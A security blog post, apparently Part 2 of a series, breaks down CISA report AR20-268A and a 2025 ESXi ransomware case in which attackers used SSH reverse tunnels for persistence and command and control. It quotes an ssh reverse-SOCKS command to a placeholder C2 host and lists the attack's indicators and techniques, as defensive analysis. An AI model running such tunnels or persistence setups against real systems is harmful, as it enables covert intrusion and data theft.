This is Part 2 of a three-part series. Part 1 explains how SSH tunneling works. Part 3 covers detection with Sigma and Elastic.
Here’s an uncomfortable truth about SSH tunneling: everything that makes it great for admins makes it great for attackers too. It’s encrypted, so the contents are hidden. It uses a protocol that’s allowed almost everywhere. The tools are already installed on most Linux systems, and on modern Windows too. And with a reverse tunnel, the connection starts from inside your network, so your inbound firewall rules never get a say.
MITRE ATT&CK tracks this as T1572 Protocol Tunneling, and it shows up in reports on state-sponsored groups and ransomware gangs alike. Rather than talk about it in the abstract, let’s take apart a real case.
The case: a federal agency, a file server and a fake Windows process
In September 2020, CISA published Analysis Report AR20-268A about an attacker who had broken into the network of an unnamed U.S. federal agency. CISA spotted the activity through EINSTEIN, its intrusion detection system for federal civilian networks, and then ran an incident response engagement with the agency.
The report is a great teaching case because the attacker’s whole persistence and command-and-control setup was built around an SSH tunnel. No custom backdoor protocol, no exotic exploit chain, just PuTTY’s command-line client with a new name, a few scheduled tasks and some public GitHub scripts.

How the attack unfolded
Step 1: Walking in with valid credentials
The attacker didn’t need to break anything to get in. They already had working credentials for several Office 365 accounts and for domain administrator accounts. They logged in to O365, browsed a SharePoint site and downloaded a file. They also made repeated connections to the agency’s VPN server.
CISA couldn’t determine how the credentials were stolen. Its best guess was that they came from an unpatched Pulse Secure VPN server through CVE-2019-11510, a file-read bug that was widely exploited across federal networks at the time. That’s a hypothesis in the report, not a confirmed finding.
Step 2: Looking around
Next came reconnaissance. The attacker read help-desk emails with subjects like “Intranet access” and “VPN passwords” (CISA notes those emails didn’t actually contain passwords). They logged in to the same mailbox over RDP, enumerated Active Directory and Group Policy, and changed a Group Policy registry key.
Then they ran the usual built-in commands for getting a feel for a network: ipconfig, net, query, netstat, ping and whoami. Mixed in with those was plink.exe. That’s the first sign of the tunnel to come.
Step 3: Building the tunnel
This is the heart of the attack. Logged in as Administrator, the attacker set up two scheduled tasks on a file server that worked as a pair:
- ShellExperienceHost.exe ran daily. Despite the name, which belongs to a real Windows component, it was a renamed copy of
plink.exe. It kept an SSH tunnel open to an attacker-controlled server at 206.189.18[.]189, so that connections to port 39999 on that server came out on the file server on port 8100. - WinDiag.exe ran at boot. It was a reverse SOCKS proxy listening on TCP 8100. Traffic arriving through the tunnel was handed to it, and responses were relayed to a VPS at 185.193.127[.]17 over port 443.
Put together, that gave the attacker a way to route their tools into the agency’s internal network through the file server, on a daily schedule, in encrypted traffic that looked like an ordinary outbound connection. Port 8100 normally isn’t open at all. The malware opened it, which is one of the details CISA highlights as something defenders could have caught.
The attacker didn’t stop at one path. A PowerShell script named HardwareEnumeration.ps1, a lightly modified copy of the public Invoke-SocksProxy tool, set up a second reverse SOCKS proxy from the file server to 185.193.127[.]18 over port 443 and also ran daily. They also mounted a remote share hosted at 78.27.70[.]237 on the local machine, which let them move files around while leaving fewer forensic artifacts.
Step 4: Getting past the antivirus
One more scheduled task launched inetinfo.exe, a multi-stage dropper that decrypted a payload, injected it into a second copy of itself, and ran shellcode in memory that downloaded more code from 185.142.236[.]198.
The agency’s anti-malware product actually caught it. But the attacker had already read the product’s license key and installation guide and found its quarantine folder. They ran the dropper after it had been quarantined. It’s a sobering reminder that an alert isn’t the same thing as a blocked attack.
Step 5: Collecting and moving data out
With persistence in place, the attacker created a local account and used it for collection and exfiltration. They browsed directories on the file server, copied a file from a user’s home directory to the mounted remote share, and used the RDP client’s drive redirection (tsclient) to pull data from an account directory and a file server directory. They also created two ZIP archives of files and folders.
CISA says those archives were likely exfiltrated, but because the attacker masked their activity so well, it couldn’t confirm what actually left the network. That uncertainty is itself the point: once traffic is inside an encrypted tunnel, it’s very hard to say after the fact what went through it.
The kill chain

Looking at the whole chain, the tunnel isn’t just one step. It’s what holds everything after initial access together. It gave the attacker persistence (it came back every day and at every reboot), command and control (their tools reached inside through it), and a route for data to leave.
A newer twist: tunnels from the hypervisor
The CISA case is from 2020, but the technique hasn’t gone anywhere. It’s moved to places defenders watch even less. In January 2025, incident response firm Sygnia described ransomware actors using VMware ESXi hosts as tunnel endpoints.
According to Sygnia, the attackers got onto ESXi either with stolen admin credentials or by exploiting a known authentication-bypass vulnerability. Then they used the hypervisor’s own SSH client to open a reverse SOCKS tunnel to their command-and-control server. The command they published looks like this:
ssh -fN -R 127.0.0.1:<SOCKS port> <user>@<C2 IP address>

That’s the reverse dynamic forwarding we covered in Part 1. It’s a single built-in command with no malware to drop. Sygnia points out why ESXi makes such a good hiding spot: hypervisors are rarely monitored, they almost never reboot unexpectedly, so the tunnel acts as a semi-persistent backdoor, and their logs are spread across several files that many teams never collect. From there, the attackers used the access to move laterally and deploy ransomware, with the goal of stealing and encrypting virtual machine files.
Why this works so well for attackers
- Living off the land.
sshis on every Linux box, ESXi host and Windows 10/11 machine.plinkis a signed, widely used admin tool. Nothing about the binary itself looks malicious. - Outbound beats inbound. Reverse tunnels start from the inside, and most networks are far stricter about what comes in than what goes out.
- Encryption hides intent. Network tools can see that a session exists, but not that an attacker is running Active Directory queries or copying files through it.
- Persistence is trivial. A scheduled task, a cron job or a systemd unit brings the tunnel back whenever it drops.
- Blind spots are everywhere. File servers, appliances and hypervisors often have little or no endpoint monitoring, which is exactly where these tunnels were built.
Where defenders could have stepped in
| Stage | What would have helped |
|---|---|
| Initial access | Patching the VPN, MFA on O365 and VPN, resetting credentials after a known-exploited VPN bug |
| Discovery | Alerting on unusual mailbox searches and AD/GPO enumeration by accounts that don’t normally do it |
| Persistence | Alerts on new scheduled tasks and new local accounts on servers (Windows events 4698 and 4720) |
| Defense evasion | Flagging binaries whose metadata says “PuTTY” but whose name says Windows; treating AV detections on servers as incidents, not just tickets |
| Command and control | Blocking outbound SSH from servers; alerting on newly opened listening ports like 8100; watching long-lived outbound sessions |
| Exfiltration | Watching for large or unusual outbound transfers, RDP drive redirection and SMB to the Internet |
| ESXi variant | Disabling SSH on hypervisors when not in use and forwarding ESXi logs to a SIEM |
CISA’s own recommendations line up with this: monitor for unusual open ports and large outbound transfers, block unneeded outbound SSH, SMB and FTP, enforce MFA (especially for privileged accounts), use separate admin accounts on dedicated workstations, and keep endpoint protection running everywhere.
The takeaway
Neither of these attacks needed anything fancy. The federal agency intrusion used a renamed free tool and a couple of scheduled tasks. The ESXi attacks used a single line of standard SSH. What made them dangerous was where they ran and how few people were watching.
That’s good news, in a way. If you know what to look for, these tunnels leave plenty of traces. In Part 3, we’ll go through those traces one by one and turn them into Sigma and Elastic detection rules.
Indicators from CISA AR20-268A
These are from 2020 and are almost certainly stale now. They’re listed for completeness, not for blocking.
185.86.151[.]223 C2
91.219.236[.]166 C2
207.220.1[.]3 C2
206.189.18[.]189 SSH tunnel endpoint
185.193.127[.]17 reverse SOCKS (named in malware section)
185.193.127[.]18 persistence / reverse SMB SOCKS
185.142.236[.]198 payload download
78.27.70[.]237 data exfiltration
Files: ShellExperienceHost.exe (renamed plink.exe), WinDiag.exe,
HardwareEnumeration.ps1, inetinfo.exe, system.dll, invoke-TmpDavFS.psm
Sources
- CISA AR20-268A: Federal Agency Compromised by Malicious Cyber Actor (September 24, 2020)
- Sygnia: ESXi Ransomware Attacks: Stealthy Persistence through SSH Tunneling (January 21, 2025)
- BleepingComputer: Ransomware gang uses SSH tunnels for stealthy VMware ESXi access (January 26, 2025)
- MITRE ATT&CK T1572: Protocol Tunneling

2 thoughts on “How Attackers Abuse SSH Tunneling: A Real Intrusion, Step by Step”